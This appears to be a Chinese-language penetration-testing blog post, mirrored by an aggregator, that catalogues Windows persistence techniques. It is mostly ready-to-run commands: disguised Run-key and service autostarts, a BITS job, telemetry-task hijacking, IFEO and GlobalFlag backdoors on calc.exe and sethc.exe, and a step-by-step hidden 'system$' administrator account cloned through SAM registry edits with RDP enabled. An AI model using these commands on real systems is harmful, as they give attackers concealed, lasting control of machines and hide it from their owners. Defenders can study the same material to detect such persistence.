Windows权限维持
文章目录 开机自启注册表创建服务dll & CombitadminMCTWMIIFEOGFlags克隆用户参考链接 开机自启将程序或 2021-01-11 15:28:29 Author: hosch3n.github.io(查看原文) 阅读量:98 收藏

文章目录

开机自启

将程序或者快捷方式放入startup文件夹。

1
2
3
4
::机器
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
::管理员
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

注册表

1
2
3
4
5
6
7
::机器
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v SysUpdate /t REG_EXPAND_SZ /d "cmd.exe" /f

::用户
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v SysUpdate /t REG_EXPAND_SZ /d "cmd.exe" /f

::RunOnce/RunServicesOnce执行一次后会被删除

创建服务

1
2
sc create sysupdate binPath= "cmd.exe /k C:\Windows\System32\sysupdate.exe"
sc start sysupdate

dll & Com

bitadmin

BITS(后台智能传送服务)是一个Windows组件,用于不影响前台网速的情况下,在后台利用带宽进行数据传输(比如系统更新),具有自启和续传的特点,默认持续90天。

1
2
3
4
5
6
7
bitsadmin /create update
bitsadmin /addfile update "C:\Windows\System32\update.exe" "C:\Windows\System32\update.exe"
bitsadmin /SetNotifyCmdLine update "C:\Windows\System32\update.exe" NUL
bitsadmin /Resume update

::查看任务
bitsadmin /list /allusers /verbose

MCT

Microsoft Compatibility Telemetry(微软兼容性遥测服务)搜集设备、驱动、Cortana等相关信息,用于改善兼容性、辅助补丁更新。设置Nightly模式,使其每24小时执行一次:

1
2
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Update" /v Command /t REG_SZ /d "C:\Windows\System32\update.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Update" /v Nightly /t REG_DWORD /d 00000001 /f

可以通过命令schtasks /run /tn "\Microsoft\Windows\Application Experience\MicrosoftCompatibility Appraiser"直接运行计划任务(对应taskschd.msc手动操作)

WMI

IFEO

映像劫持(Image File Execution Options)是Windows用于调试程序的一个功能,涉及到的概念和可供配置的参数还挺多的,我们此时需要知道的是可以通过管理员修改注册表,使得运行程序A时实际会去执行程序B。

1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f

执行这条命令修改相应注册表后,运行calc.exe后实际执行的会是cmd.exe,这样就可以结合远程桌面、粘滞键和远控马实现一定的权限维持。

GFlags

Windows SDK中有一个叫GlobalFlags的工具,通过它Silent Process Exit选项下提供的功能,可以设置一个程序退出时执行什么。其最终对应着注册表中的如下操作:

1
2
3
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

相比于直接劫持替换,这种方式更加隐蔽。

克隆用户

  1. 新建伪装机器用户
1
2
3
4
5
6
7
8
:: 添加用户
net user system$ Passw0rd! /add
:: 加入管理员组
net localgroup administrators system$ /add
:: 开启远程登录
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
:: 查询端口
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
  1. 通过regedit增加管理员组用户对HKEY_LOCAL_MACHINE\SAM\SAM\注册表的权限

  1. 重启regedit,导出HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\system$s1.reg

  2. 根据其type为0x3e9,导出对应的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9s2.reg

  3. 导出HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4(Administrator默认键值)为a.reg

  4. 编辑s2.regF的键值替换为a.reg

  5. 执行net user system$ /del删除用户,并导入s1.reg和修改过的s2.reg

  6. 还原SAM表控制权限

此时控制面板用户管理无法看到system$用户,但通过计算机管理用户和net user system$可以看到。通过net user system$ /del无法删除,需要删除相应注册表。

  • 如果administrator用户是禁用状态,那么克隆出来的system$用户也会是禁用的。可以在导出前通过net user administrator /active:yes启用,或是导出其它管理员组内的用户。也可将system$用户注册表中这个值从11修改为10补救:

  • 利用system权限自动化克隆的ps脚本

参考链接

Windows权限维持技术整理

Shfit映像劫持后门新玩法

PERSISTENCE USING GLOBALFLAGS IN IMAGE FILE EXECUTION OPTIONS – HIDDEN FROM AUTORUNS.EXE

渗透技巧——Windows系统的帐户隐藏


文章来源: https://hosch3n.github.io/2021/01/11/Windows%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81/
如有侵权请联系:admin#unsafe.sh